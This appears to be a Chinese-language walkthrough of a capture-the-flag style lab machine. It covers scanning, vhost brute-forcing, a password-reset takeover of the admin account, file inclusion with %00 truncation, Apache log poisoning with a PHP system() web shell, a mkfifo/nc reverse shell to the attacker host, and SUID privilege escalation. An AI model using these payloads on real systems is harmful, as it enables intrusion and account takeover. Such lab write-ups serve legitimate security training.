一、信息收集
kali ip NAT:192.168.48.131
靶机 ip NAT:192.168.48.152
(1)查找kali ip
(2)查找靶机ip
arp-scan -l
二、扫描
(1)端口扫描
nmap -sS -p- -A 192.168.48.152
开启了21、25、53、80、110、143、443
访问80端口
拖到页面最下方可以看到一个域名
(2)目录扫描
dirsearch -u "http://192.168.48.152/"
访问http://192.168.48.152/assets/
下面是一些js,css文件
(3)修改hosts文件
之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下
vim /etc/hosts
(4)域名爆破
这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接
apt-get install gobuster进行安装
扫描后,可以看到,有了我们之前并未爆破出的页面
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt
(5)再次添加hosts文件
vim /etc/hosts
(6)依次访问
dev.cybox.company是一个PHPinfo
ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码
webmail.cybox.company是一个邮箱登录页面
register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户
monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回
(7)注册
在register中可以注册
我们的账号和密码都是awei
在webmail中使用awei,awei成功登录
在register页面使用这个账号密码是无法登录的
进行注册
注册且登录后发现没有什么东西
尝试忘记密码的页面
进行忘记密码,发现页面没反应,但是发送了一封邮件到我们的邮箱当中
进行查看邮件信息
点击链接需要我们直接修改密码即可
使用新密码登录成功
三、越权漏洞
这里尝试改一下管理员的密码,修改数据包里的用户awei为admin
再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接
点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证
可以看到admin的面板(panel)
四、文件包含漏洞
查看一下源代码
发现有引用,这里包含进来一个php页面
结合抓包的源码进行利用
这里用到了%00进行截断
形成漏洞的原理:
php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取
Linux下%00截断的条件:
magic_quotes_gpc=off php<5.3.4
这个可以在dev泄露的phpinfo中看到确实是关闭的
默认结尾是html,在这台靶机中这个general引用应该是以css为后缀的
GET /admin/styles.php?style=../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
可以看到把/etc/passwd的内容读取了出来
五、反弹shell
(1)日志
尝试使用apache的默认日志路径
应该是/opt/bitnami/apache2/logs/access_log、
这样可以看到apache的访问目录
GET /admin/styles.php?style=../../../../../../../../../../../../opt/bitnami/apache2/logs/access_log%00 HTTP/1.1
可以看到这个日志记录了时间和user_agent头信息
接着我们抓包ftp页面,修改user_agent头信息为<?php system($_GET['cmd']);?>
再次读取access_log日志,可以发现,已经记录了我们的信息
接下来进行反弹shell
(2)kali开启监听
kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)
nc -lvvp 443
使用python命令来进行反弹shell
url编码:system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.131 443 >/tmp/f');
system('rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.48.131%20443%20%3E%2Ftmp%2Ff')%3B
(3)切换到交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
六、提权
查找具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
看到/opt特殊目录,进行查看
发现是注册用户,我们起名叫root发现已经存在
再次尝试特殊的名字sudo,创建成功
账号和密码都是sudo
./registerlauncher root
./registerlauncher sudo
进行sudo用户登录,顺便切换成root
只需su sudo和sudo su (root) 即可
切换到root目录下进行查看root文件